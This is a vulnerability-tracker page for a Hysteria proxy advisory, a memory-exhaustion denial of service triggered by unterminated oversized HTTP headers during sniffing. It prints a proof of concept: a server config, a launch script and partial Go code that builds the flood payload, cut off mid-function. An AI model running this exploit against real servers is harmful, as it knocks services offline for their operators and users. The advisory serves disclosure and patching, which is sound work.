VulnWatch by ve1ve2
high 8.7

GHSA-jqc5-2p7q-fqfc: Hysteria: http large header with sniff cause server DoS

Source:
OSV.dev
Published:
Fetched:
Updated:
Affects:
github.com/apernet/hysteria

https://osv.dev/vulnerability/GHSA-jqc5-2p7q-fqfc ↗

osvgofix-available

Hysteria: http large header with sniff cause server DoS ### Summary Sending an excessively large header by an attacker could lead to a server-side DoS attack. ### Details The current sniff implementation does not explicitly specify the upper limit for HTTP headers. Attackers can continuously send excessively large headers without including \r\n\r\n, leading to ServerDoS and OutOfMemory errors. ### PoC server.yaml ``` listen: 127.0.0.1:8443 tls: cert: poc_server.crt key: poc_server.key auth: type: password password: sniff-poc-password sniff: enable: true timeout: 10s rewriteDomain: false tcpPorts: 80 masquerade: type: string string: content: nope statusCode: 404 ``` poc.sh ``` #!/bin/bash go build poc_sniff_http_dos.go ./poc_sniff_http_dos \ --server 127.0.0.1:8443 \ --auth sniff-poc-password \ --insecure \ --target-host 192.0.2.1 \ --target-port 80 \ --connections 16 \ --header-bytes 838860800 \ --linger 12 ``` poc.go ``` //go:build poc package main import ( "crypto/sha256" "crypto/x509" "encoding/hex" "errors" "flag" "fmt" "net" "strings" "sync" "time" coreclient "github.com/apernet/hysteria/core/v2/client" "github.com/apernet/hysteria/extras/v2/obfs" ) type attackConnFactory struct { obfuscator obfs.Obfuscator } func (f *attackConnFactory) New(_ net.Addr) (net.PacketConn, error) { conn, err := net.ListenUDP("udp", nil) if err != nil { return nil, err } if f.obfuscator == nil { return conn, nil } return obfs.WrapPacketConn(conn, f.obfuscator), nil } func buildHeaderPayload(totalBytes, chunkSize int) []byte { prefix := []byte("GET / HTTP/1.1\r\nHost: victim\r\nUser-Agent: hy2-sniff-poc\r\n") if totalBytes <= len(prefix) { return prefix[:totalBytes] } out := make([]byte, 0, totalBytes) out = append(out, prefix...) linePayload := chunkSize - 32 if linePayload < 64 { linePayload = 64 } for i := 0; len(out) < totalBytes; i++ { line := fmt.Sprintf("X-Fill-%06d: %s\r\n", i, strings.Repeat("A", linePayload)) remain := totalBytes - len(out) if len(line) > remain { line = line[:remain] } out = append(out, line...) } // 故意不追加最后一个空行 \r\n,迫使服务端在 sniff timeout 内持续读 header。 return out } func makeClient(server, auth, sni string, insecure bool, pinSHA256, salamanderPSK string) (coreclient.Client, error) { serverAddr, err := net.ResolveUDPAddr("udp", server) if err != nil { return nil, err } cfg := &coreclient.Config{ ConnFactory: &attackConnFactory{}, ServerAddr: serverAddr, Auth: auth, TLSConfig: coreclient.TLSConfig{ InsecureSkipVerify: insecure, }, } host, _, err := net.SplitHostPort(server) if err == nil && sni == "" && net.ParseIP(host) == nil { cfg.TLSConfig.ServerName = host } if sni != "" { cfg.TLSConfig.ServerName = sni } if pinSHA256 != "" { nHash := strings.ToLower(strings.ReplaceAll(pinSHA256, ":", "")) cfg.TLSConfig.VerifyPeerCertificate = func(rawCerts [][]byte, _ [][]*x509.Certificate) error { if len(rawCerts) == 0 { return err Affected: Go:github.com/apernet/hysteria Fixed in: 2.9.2 References: https://github.com/apernet/hysteria/security/advisories/GHSA-jqc5-2p7q-fqfc https://github.com/apernet/hysteria

Linked vulnerabilities (2)

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Hysteria 2.5.0 before 2.9.2 contains a denial of service vulnerability in the HTTP sniff implementation that fails to limit header size. Attackers can continuously send excessively large HTTP headers without terminating them, exhausting server memory and causing out-of-memory crashes.

CWE: CWE-770Aliases: GHSA-jqc5-2p7q-fqfcNVD: Received
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Hysteria: http large header with sniff cause server DoS

CWE: CWE-770Aliases: CVE-2026-134456